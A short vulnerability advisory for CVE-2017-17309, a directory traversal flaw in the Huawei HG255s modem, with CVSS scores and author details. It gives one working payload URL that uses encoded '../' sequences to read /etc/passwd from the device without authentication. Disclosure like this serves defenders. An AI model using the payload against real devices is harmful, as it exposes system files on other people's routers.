Huawei HG255s Server Directory Traversal

2017-12-06 / 2018-04-23

Ismail Tasdelen (TR)

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2017-17309

CWE: CWE-22

CVSS Base Score: 7.8/10

Impact Subscore: 6.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: None

Availability impact: None

# Exploit Title: [Server Directory Traversal at Huawei HG255s]
 
# Date: [22.10.2017]
 
# Exploit Author: [Ismail Tasdelen]
 
# Vendor Homepage: [www.huawei.com]
 
# Software Link: [Not published this modem just used by Turkey]
 
# Version: [V100R001C163B025SP02]

# POC:

https://www.youtube.com/watch?v=h5235yF993o
 
Directory Traversal Payload : http://192.168.0.1/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd

# You want to follow my activity ?

https://www.linkedin.com/in/ismailtasdelen
https://github.com/ismailtasdelen

References:

https://www.youtube.com/watch?v=h5235yF993o

See this note in RAW Version

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Huawei HG255s Server Directory Traversal

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